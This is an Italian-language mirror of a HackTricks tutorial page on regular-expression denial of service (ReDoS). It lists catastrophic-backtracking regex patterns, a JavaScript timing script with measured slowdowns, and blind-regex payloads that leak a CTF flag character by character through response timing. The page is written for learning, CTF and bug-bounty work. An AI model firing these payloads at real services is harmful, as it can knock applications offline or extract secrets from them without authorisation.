mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
105 lines
6.6 KiB
Markdown
105 lines
6.6 KiB
Markdown
# Denial of Service tramite espressioni regolari - ReDoS
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
# Denial of Service tramite espressioni regolari (ReDoS)
|
|
|
|
Un **Denial of Service tramite espressioni regolari (ReDoS)** si verifica quando qualcuno sfrutta le debolezze nel funzionamento delle espressioni regolari (un modo per cercare e abbinare modelli di testo). A volte, quando vengono utilizzate espressioni regolari, possono diventare molto lente, soprattutto se il pezzo di testo con cui stanno lavorando diventa più grande. Questa lentezza può diventare così grave che cresce molto rapidamente anche con piccoli aumenti delle dimensioni del testo. Gli attaccanti possono sfruttare questo problema per far sì che un programma che utilizza espressioni regolari smetta di funzionare correttamente per molto tempo.
|
|
|
|
|
|
## L'algoritmo Regex Naïve problematico
|
|
|
|
**Controlla i dettagli su [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
|
|
|
|
|
## Regex malvagie <a href="#evil-regexes" id="evil-regexes"></a>
|
|
|
|
Un modello di espressione regolare malvagio è quello che può **bloccarsi su un input creato causando un DoS**. I modelli di espressioni regolari malvagi di solito contengono raggruppamenti con ripetizione e ripetizione o alternanza con sovrapposizione all'interno del gruppo ripetuto. Alcuni esempi di modelli malvagi includono:
|
|
|
|
* (a+)+
|
|
* ([a-zA-Z]+)*
|
|
* (a|aa)+
|
|
* (a|a?)+
|
|
* (.*a){x} per x > 10
|
|
|
|
Tutti questi sono vulnerabili all'input `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
|
|
|
## Payload ReDoS
|
|
|
|
### Esfiltrazione di stringhe tramite ReDoS
|
|
|
|
In un CTF (o bug bounty) forse **controlli l'espressione regolare con cui viene abbinata un'informazione sensibile (la flag)**. Quindi, potrebbe essere utile **bloccare la pagina (timeout o tempo di elaborazione più lungo)** se viene abbinata una **Regex** e **non se non viene abbinata**. In questo modo sarai in grado di **esfiltrare** la stringa **carattere per carattere**:
|
|
|
|
* In [**questo post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puoi trovare questa regola ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
|
* Esempio: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
|
* In [**questo writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) puoi trovare questa: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
|
* In [**questo writeup**](https://ctftime.org/writeup/25869) ha usato: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
|
|
|
### Controllo di input e Regex ReDoS
|
|
|
|
Di seguito sono riportati esempi di **ReDoS** in cui **controlli** sia l'**input** che la **regex**:
|
|
```javascript
|
|
function check_time_regexp(regexp, text){
|
|
var t0 = new Date().getTime();;
|
|
new RegExp(regexp).test(text);
|
|
var t1 = new Date().getTime();;
|
|
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
|
}
|
|
|
|
// This payloads work because the input has several "a"s
|
|
[
|
|
// "((a+)+)+$", //Eternal,
|
|
// "(a?){100}$", //Eternal
|
|
"(a|a?)+$",
|
|
"(\\w*)+$", //Generic
|
|
"(a*)+$",
|
|
"(.*a){100}$",
|
|
"([a-zA-Z]+)*$", //Generic
|
|
"(a+)*$",
|
|
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
|
|
|
/*
|
|
Regexp (a|a?)+$ took 5076 milliseconds.
|
|
Regexp (\w*)+$ took 3198 milliseconds.
|
|
Regexp (a*)+$ took 3281 milliseconds.
|
|
Regexp (.*a){100}$ took 1436 milliseconds.
|
|
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
|
Regexp (a+)*$ took 723 milliseconds.
|
|
*/
|
|
```
|
|
## Strumenti
|
|
|
|
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
|
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
|
|
|
## Riferimenti
|
|
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
|
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
|
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
|
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|